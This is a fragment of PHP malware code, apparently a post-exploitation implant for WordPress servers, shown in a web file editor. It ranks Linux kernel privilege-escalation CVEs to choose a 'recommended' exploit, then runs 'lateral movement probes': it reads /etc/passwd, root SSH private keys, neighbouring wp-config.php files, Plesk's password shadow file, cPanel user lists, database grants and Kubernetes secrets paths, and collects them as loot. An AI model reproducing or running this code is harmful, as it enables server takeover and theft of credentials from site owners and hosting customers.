$pre=(in_array('rxrpc',$mods))||($un&&(in_array('esp4',$mods)||in_array('esp6',$mods))); $M['dirtyfrag_cve_2026_43284_43500']=$V($rng,strtotime('2026-05-09'),strtotime('2026-06-06'),$pre,'needs rxrpc (Ubuntu default) or userns+esp'); // 6 ptrace exit-race CVE-2026-46333 — exact Qualys stable fix list + Ubuntu ABI map $rng=$k?w2s_kge($k,5,6):null; $pre=($ps===null||$ps<2); $_pt=$T(array('5.10'=>array(5,10,256),'5.15'=>array(5,15,207),'6.1'=>array(6,1,173), '6.6'=>array(6,6,139),'6.12'=>array(6,12,89),'6.18'=>array(6,18,31),'7.0'=>array(7,0,8))); if($_pt===null&&$k&&$k[0]===6&&$k[1]===8){ if(preg_match('/^6\.8\.0-(\d+)\./',$rel,$m))$_pt=((int)$m[1]>=124?'no':'go'); // Ubuntu 24.04 GA ABI: 6.8.0-124.124 = fixed } $M['ptrace_race_cve_2026_46333']=$_pt===null?$V($rng,strtotime('2026-05-15'),strtotime('2026-06-04'),$pre,'blocked if ptrace_scope>=2; race vs exiting setuid proc; cred theft') :($pre?array($_pt,'race vs exiting setuid proc; cred theft; fixed-version table '.($_pt==='go'?'below':'at/above').' fix') :array('no','blocked by ptrace_scope>=2')); // 7 DirtyClone CVE-2026-43503 — userns+esp surface, patch~2026-05-22 $pre=$un&&(in_array('esp4',$mods)||in_array('esp6',$mods)); $M['dirtyclone_cve_2026_43503']=$V($rng,strtotime('2026-05-22'),strtotime('2026-06-26'),$pre,'needs userns + esp; silent (no audit trail)'); // 8 pedit COW CVE-2026-46331 — 5.18..7.1, act_pedit + userns, patch~2026-06-23 $rng=$k?(w2s_kge($k,5,18)&&w2s_klt($k,7,1)):null; $pre=$un; $M['pedit_cow_cve_2026_46331']=$V($rng,strtotime('2026-06-23'),strtotime('2026-07-14'),$pre,'needs act_pedit loadable + userns; Ubuntu needs aa-exec bypass'); // 9 nf_tables CVE-2026-23111 — catchall maps only exist 5.13+; upstream patch 2026-02-05; // distros lagged (FuzzingLabs April PoC worked on Ubuntu) — wide vendor window $rng=$k?w2s_kge($k,5,13):null; $pre=$un; $M['nf_tables_cve_2026_23111']=$V($rng,strtotime('2026-02-05'),strtotime('2026-05-06'),$pre,'needs userns + nftables; >99% Exodus chain'); // 10 PinTheft CVE-2026-43494 — rds + io_uring + >=6.13, patch~2026-05-22 $rng=$k?w2s_kge($k,6,13):null; $iour=!isset($ks['io_uring_disabled'])||$ks['io_uring_disabled']===0; $pre=in_array('rds',$mods)&&$iour; $M['pintheft_cve_2026_43494']=$V($rng,strtotime('2026-05-22'),strtotime('2026-06-26'),$pre,'needs rds loaded (Arch default only) + io_uring'); // 11 DirtyDecrypt CVE-2026-31635 — CONFIG_RXGK, 6.10..6.13, patch~2026-04-26 $rng=$k?(w2s_kge($k,6,10)&&w2s_klt($k,6,14)):null; $pre=!empty($ks['rxgk_symbols']); $M['dirtydecrypt_cve_2026_31635']=$V($rng,strtotime('2026-04-26'),strtotime('2026-05-17'),$pre,'needs CONFIG_RXGK (Fedora/Arch/Tumbleweed only)'); // recommended = first go in ranked order $rec=null; foreach(array('copyfail_cve_2026_31431','ghostlock_cve_2026_43499','bad_epoll_cve_2026_46242','fragnesia_cve_2026_46300','dirtyfrag_cve_2026_43284_43500','ptrace_race_cve_2026_46333','dirtyclone_cve_2026_43503','pedit_cow_cve_2026_46331','nf_tables_cve_2026_23111','pintheft_cve_2026_43494','dirtydecrypt_cve_2026_31635')as$key) if($M[$key][0]==='go'){$rec=$key;break;} return array('verdicts'=>$M,'recommended'=>$rec); } // ── LATERAL MOVEMENT PROBES ── $G=array(); $_gr=@$W->get_results("SHOW GRANTS",ARRAY_A); if(is_array($_gr))foreach($_gr as$r){$v=reset($r);if($v)$G[]=$v;} $DBS=array(); $_ds=@$W->get_col("SHOW DATABASES"); if(is_array($_ds))$DBS=$_ds; $NC=array(); $d=__DIR__; for($i=0;$i<5;$i++){ $d=dirname($d); $p="$d/wp-config.php"; if(@is_file($p)&&@is_readable($p))$NC[]=$p; } $PW=array(); $_pw=@file_get_contents('/etc/passwd'); if($_pw){ foreach(explode("\n",$_pw)as$l){ $parts=explode(':',$l); if(count($parts)>=7&&$parts[6]&&$parts[6]!=='/bin/nologin'&&$parts[6]!=='/usr/sbin/nologin'&&$parts[6]!=='/bin/false') $PW[]=$parts[0].':'.$parts[6]; } $PW=array_slice($PW,0,50); } $SK=array(); $_home=array('/root/.ssh/id_rsa','/root/.ssh/id_ed25519'); if(!empty($o['priv']['user_login'])){ $h=dirname($_SERVER['DOCUMENT_ROOT']??'/'); $_home[]=$h.'/.ssh/id_rsa'; } foreach($_home as$p){ $c=@file_get_contents($p); if($c&&strpos($c,'PRIVATE KEY')!==false)$SK[]=array('path'=>$p,'key'=>substr($c,0,512)); } $CTN=''; if(@file_exists('/.dockerenv'))$CTN='docker'; $_cg=@file_get_contents('/proc/1/cgroup'); if($_cg){ if(strpos($_cg,'kubepods')!==false)$CTN.=$CTN?'+k8s':'k8s'; elseif(strpos($_cg,'docker')!==false||strpos($_cg,'containerd')!==false)$CTN=$CTN?:'container'; } if(@is_dir('/var/run/secrets/kubernetes.io/serviceaccount'))$CTN.=$CTN?'+k8s-sa':'k8s-sa'; $PN=''; foreach(array( 'cpanel'=>'/usr/local/cpanel','plesk'=>'/usr/local/psa','plesk-opt'=>'/opt/psa', 'directadmin'=>'/usr/local/directadmin','virtualmin'=>'/usr/share/webmin', 'cyberpanel'=>'/usr/local/CyberPanel','hestiacp'=>'/usr/local/hestia', 'ispconfig'=>'/usr/local/ispconfig','aapanel'=>'/www/server/panel', 'cloudpanel'=>'/etc/cloudpanel','runcloud'=>'/etc/runcloud', )as$n=>$p) if(@is_dir($p))$PN=$PN?'+'.$n:$n; $HP=''; if(function_exists('is_wpe')&&@is_wpe()==="1")$HP='wpengine'; elseif(getenv('PANTHEON_ENVIRONMENT'))$HP='pantheon'; elseif(getenv('KINSTA_SITE_ID'))$HP='kinsta'; elseif(getenv('PRESSABLE_FILE_PLUGIN'))$HP='pressable'; elseif(function_exists('is_atomic_platform')&&@is_atomic_platform())$HP='wpcom'; elseif(getenv('CW_ENV'))$HP='cloudways'; elseif(getenv('WPE_PLUGIN_HOST'))$HP='wpengine'; elseif(getenv('SG_PUBLIC'))$HP='siteground'; $R=array(); if(function_exists('rest_get_server')){ try{$_rs=rest_get_server();$_rt=$_rs?$_rs->get_routes():array(); if(is_array($_rt))$R=array_slice(array_keys($_rt),0,200);}catch(\Throwable $e){} } $K=array(); if(function_exists('_get_cron_array')) try{foreach(_get_cron_array()as$ts=>$hooks) if(is_array($hooks))foreach($hooks as$hook=>$j){$K[]=array('ts'=>$ts,'hook'=>$hook);if(count($K)>=100)break 2;}}catch(\Throwable $e){} $PL=array(); if(strpos($PN,'cpanel')!==false)$PL['cpanel_users']=@scandir('/var/cpanel/users/')?:array(); if(strpos($PN,'plesk')!==false)$PL['psa_shadow']=@file_get_contents('/etc/psa/.psa.shadow')?:''; if(strpos($PN,'directadmin')!==false)$PL['da_users']=@scandir('/usr/local/directadmin/data/users/')?:array(); $_KSA=w2s_kernel_sa(); $o['kernel_sa']=$_KSA; $o['lpe_matrix']=w2s_lpe_matrix($_KSA); $o['lateral']=array( 'grants'=>$G,'databases'=>$DBS,'neighbor_configs'=>$NC,'shell_users'=>$PW, 'ssh_keys'=>$SK,'container'=>$CTN,'panel'=>$PN,'managed_host'=>$HP, 'rest_routes'=>$R,'cron'=>$K,'panel_loot'=>$PL, ); $w2s_done=true; _r($o);
Save File
Cancel